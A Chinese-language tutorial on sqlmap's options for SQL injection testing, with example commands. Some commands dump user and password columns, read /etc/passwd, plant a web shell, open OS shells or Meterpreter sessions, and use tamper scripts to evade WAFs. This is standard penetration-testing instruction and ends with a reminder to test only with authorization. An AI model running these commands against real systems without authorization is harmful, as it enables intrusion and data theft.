sqlmap常用命令与参数详解

sqlmap 常用命令与参数详解

sqlmap 是一款开源的自动化 SQL 注入工具,它可以自动检测和利用 Web 应用程序中的 SQL 注入漏洞。由于其强大的功能和灵活性,sqlmap 成为渗透测试人员和安全研究人员的首选工具之一。本文将详细介绍 sqlmap 的常用命令和参数,帮助读者更好地理解和使用这款强大的工具。

1. 基础用法

sqlmap 的基本用法非常简单,通常只需要提供目标 URL 即可开始扫描:

bash
sqlmap -u "http://example.com/page.php?id=1"

这条命令会让 sqlmap 尝试检测 http://example.com/page.php?id=1 这个 URL 是否存在 SQL 注入漏洞。

2. 常用命令选项

sqlmap 提供了大量的命令选项,用于控制其行为和功能。下面列出了一些最常用的选项:

  • -u--url: 指定目标 URL。这是最基本的选项,必须提供。
  • -d: 直接连接到数据库,而不是通过 Web 应用程序。需要提供数据库连接字符串,例如:-d "mysql://user:password@host:port/database"
  • -r: 从文件中读取 HTTP 请求。这对于测试复杂的请求或绕过 WAF 非常有用。可以使用 Burp Suite 等工具捕获请求并保存到文件中。
  • -p: 指定要测试的参数。默认情况下,sqlmap 会测试所有 GET 和 POST 参数。可以使用 -p 选项指定要测试的特定参数,例如:-p "id,username"
  • --data: 指定 POST 数据。当目标应用程序使用 POST 方法提交数据时,可以使用 --data 选项提供 POST 数据,例如:--data "username=admin&password=123456"
  • --cookie: 指定 Cookie。当目标应用程序需要登录才能访问时,可以使用 --cookie 选项提供登录后的 Cookie,例如:--cookie "PHPSESSID=abcdefg1234567"
  • --level: 指定测试级别。sqlmap 有 5 个测试级别(1-5),级别越高,执行的测试越多,花费的时间也越长。默认级别为 1。建议从级别 1 开始,逐步增加级别。
  • --risk: 指定风险级别。sqlmap 有 3 个风险级别(1-3),级别越高,执行的测试越具有破坏性,可能导致数据丢失或服务不可用。默认风险级别为 1。建议在测试环境中使用较高的风险级别。
  • --dbms: 指定数据库管理系统(DBMS)。如果已知目标应用程序使用的 DBMS,可以使用 --dbms 选项指定,例如:--dbms "MySQL"。这将加快 sqlmap 的检测速度。
  • --os: 指定操作系统。如果已知目标服务器的操作系统,可以使用 --os 选项指定,例如:--os "Linux"
  • --technique: 指定 SQL 注入技术。sqlmap 支持多种 SQL 注入技术,包括:

    • B: Boolean-based blind(基于布尔的盲注)
    • E: Error-based(基于错误的注入)
    • U: Union query-based(基于联合查询的注入)
    • S: Stacked queries(堆叠查询)
    • T: Time-based blind(基于时间的盲注)
    • Q: Inline queries(内联查询)

    默认情况下,sqlmap 会自动选择合适的技术。可以使用 --technique 选项手动指定要使用的技术,例如:--technique "BEU"
    * --threads:设定线程数,加快检测速度。
    * --batch: 自动选择默认行为。当 sqlmap 提示用户输入时,如果使用 --batch 选项,sqlmap 将自动选择默认行为,无需用户干预。
    * --flush-session: 清除当前会话。
    * --tor: 使用Tor匿名网络。
    * --proxy: 使用代理服务器。
    * --random-agent:使用随机的User-Agent。
    * --tamper: 使用 tamper 脚本对请求进行修改。tamper 脚本可以用于绕过 WAF 或对数据进行编码。sqlmap 提供了许多内置的 tamper 脚本,也可以编写自定义的 tamper 脚本。

3. 信息获取

一旦 sqlmap 检测到 SQL 注入漏洞,就可以使用以下选项获取有关数据库的信息:

  • --dbs: 列出所有数据库。
  • --current-db: 获取当前数据库的名称。
  • --tables: 列出指定数据库中的所有表。需要使用 -D 选项指定数据库名称,例如:--tables -D "mydatabase"
  • --columns: 列出指定表中的所有列。需要使用 -D 选项指定数据库名称,-T 选项指定表名称,例如:--columns -D "mydatabase" -T "users"
  • --dump: 转储表中的数据。需要使用 -D 选项指定数据库名称,-T 选项指定表名称,-C 选项指定要转储的列,例如:--dump -D "mydatabase" -T "users" -C "id,username,password"
  • --dump-all: 转储所有数据库中的所有表的数据。这可能会花费很长时间,并且产生大量数据。
  • --search: 在所有数据库中搜索指定的表或列。例如:--search -T "admin" 将在所有数据库中搜索名为 "admin" 的表。
  • --current-user:获取当前数据库用户名。
  • --users:列出所有数据库用户。
  • --passwords:尝试获取数据库用户的密码哈希。
  • --privileges:查看数据库用户的权限。
  • --roles:查看数据库用户的角色(仅适用于支持角色的数据库,如Oracle)。
  • --is-dba:检测当前用户是否为数据库管理员。

4. 文件系统访问

如果数据库用户具有足够的权限,sqlmap 还可以用于访问目标服务器的文件系统:

  • --file-read: 从文件系统中读取文件。需要指定要读取的文件的路径,例如:--file-read "/etc/passwd"
  • --file-write: 将文件写入文件系统。需要指定要写入的文件路径和本地文件路径,例如:--file-write "shell.php" "/var/www/html/shell.php"
  • --file-dest:指定写入文件的绝对路径。

5. 操作系统命令执行

如果数据库用户具有足够的权限,sqlmap 还可以用于在目标服务器上执行操作系统命令:

  • --os-shell: 获取一个交互式的操作系统 shell。sqlmap 会尝试上传一个 shell 到目标服务器,并提供一个交互式的 shell。
  • --os-cmd: 执行单个操作系统命令。例如:--os-cmd "whoami"
  • --os-pwn: 获取一个 OOB(Out-of-Band)shell、Meterpreter 会话或 VNC 会话。这需要 Metasploit 框架的支持。
  • --sql-shell:获取一个交互式 SQL shell,可以在其中直接输入SQL语句。

6. 高级用法

除了上面介绍的常用选项外,sqlmap 还提供了一些高级选项,用于处理更复杂的场景:

  • --tamper: 使用 tamper 脚本对请求进行修改。tamper 脚本可以用于绕过 WAF 或对数据进行编码。sqlmap 提供了许多内置的 tamper 脚本,也可以编写自定义的 tamper 脚本。
    • 例如:--tamper "space2comment.py" 将空格替换为注释,用于绕过某些 WAF。
  • --eval: 在发送请求之前执行自定义的 Python 代码。这可以用于动态生成请求数据或执行更复杂的操作。
  • --safe-url: 指定一个安全的 URL,sqlmap 会定期访问这个 URL,以避免被 WAF 检测到。
  • --safe-freq:指定访问安全 URL 的频率。
  • --time-sec:设置基于时间盲注的延迟时间(秒)。
  • --second-order: 指定二阶 SQL 注入的 URL。当 SQL 注入的结果不在当前页面中显示,而是在另一个页面中显示时,可以使用 --second-order 选项指定显示结果的页面。
  • --forms:自动填写表单。如果目标页面包含表单,sqlmap可以自动填写表单并提交。

7. Tamper 脚本

Tamper 脚本是 sqlmap 的一个重要特性,它允许用户修改 HTTP 请求,以绕过 Web 应用程序防火墙(WAF)或对数据进行编码。sqlmap 提供了许多内置的 tamper 脚本,涵盖了各种常见的绕过技术。

以下是一些常用的 tamper 脚本及其功能:

  • space2comment.py: 将空格替换为 /**/
  • space2plus.py: 将空格替换为 +
  • space2mysqldash.py: 将空格替换为 -- 并在末尾添加换行符。
  • space2randomblank.py: 将空格替换为随机的空白字符。
  • between.py: 将 > 替换为 NOT BETWEEN 0 AND
  • percentage.py: 在每个字符前添加 %
  • randomcase.py: 随机改变字符的大小写。
  • unmagicquotes.py: 将 ' 替换为 %bf%27
  • versionedmorekeywords.py: 在某些关键字前添加版本注释。
  • charencode.py: 对所有字符进行 URL 编码。
  • chardoubleencode.py: 对所有字符进行双重 URL 编码。
  • base64encode.py:对所有字符进行Base64编码。

要使用 tamper 脚本,只需在 sqlmap 命令中添加 --tamper 选项,后跟 tamper 脚本的名称(不带 .py 扩展名)。可以同时使用多个 tamper 脚本,用逗号分隔。

例如:

bash
sqlmap -u "http://example.com/page.php?id=1" --tamper "space2comment,randomcase"

这条命令将使用 space2commentrandomcase 两个 tamper 脚本。

8. 实例演示

下面通过几个实例演示 sqlmap 的用法:

实例 1:基本检测

bash
sqlmap -u "http://example.com/page.php?id=1"

这条命令将对 http://example.com/page.php?id=1 进行基本的 SQL 注入检测。

实例 2:指定数据库类型

bash
sqlmap -u "http://example.com/page.php?id=1" --dbms "MySQL"

这条命令将指定数据库类型为 MySQL,加快检测速度。

实例 3:获取所有数据库

bash
sqlmap -u "http://example.com/page.php?id=1" --dbs

这条命令将列出目标数据库服务器上的所有数据库。

实例 4:获取指定数据库中的所有表

bash
sqlmap -u "http://example.com/page.php?id=1" -D "mydatabase" --tables

这条命令将列出 mydatabase 数据库中的所有表。

实例 5:转储表中的数据

bash
sqlmap -u "http://example.com/page.php?id=1" -D "mydatabase" -T "users" -C "id,username,password" --dump

这条命令将转储 mydatabase 数据库中 users 表的 idusernamepassword 列的数据。

实例 6:使用 tamper 脚本绕过 WAF

bash
sqlmap -u "http://example.com/page.php?id=1" --tamper "space2comment,randomcase"

这条命令将使用 space2commentrandomcase 两个 tamper 脚本绕过 WAF。

实例7:从文件读取HTTP请求

bash
sqlmap -r request.txt -p "username"

request.txt文件中读取HTTP请求,并且指定测试username参数。

实例8:使用cookie登录后注入

bash
sqlmap -u "http://example.com/page.php" --cookie="PHPSESSID=abcdefg1234567" --data="id=1"

该命令在提供了有效的cookie并且通过POST方法提交id参数的情况下进行注入。

9. 总结

sqlmap 是一款功能强大的 SQL 注入工具,掌握其常用命令和参数对于渗透测试人员和安全研究人员至关重要。本文详细介绍了 sqlmap 的各种选项和用法,并通过实例演示了其在实际场景中的应用。希望本文能帮助读者更好地理解和使用 sqlmap,提高 Web 应用程序的安全性。

除了本文介绍的内容外,sqlmap 还有许多其他功能和选项,读者可以通过阅读 sqlmap 的官方文档或使用 --help 选项获取更多信息。在使用 sqlmap 时,务必遵守法律法规,仅在授权的范围内进行测试。

THE END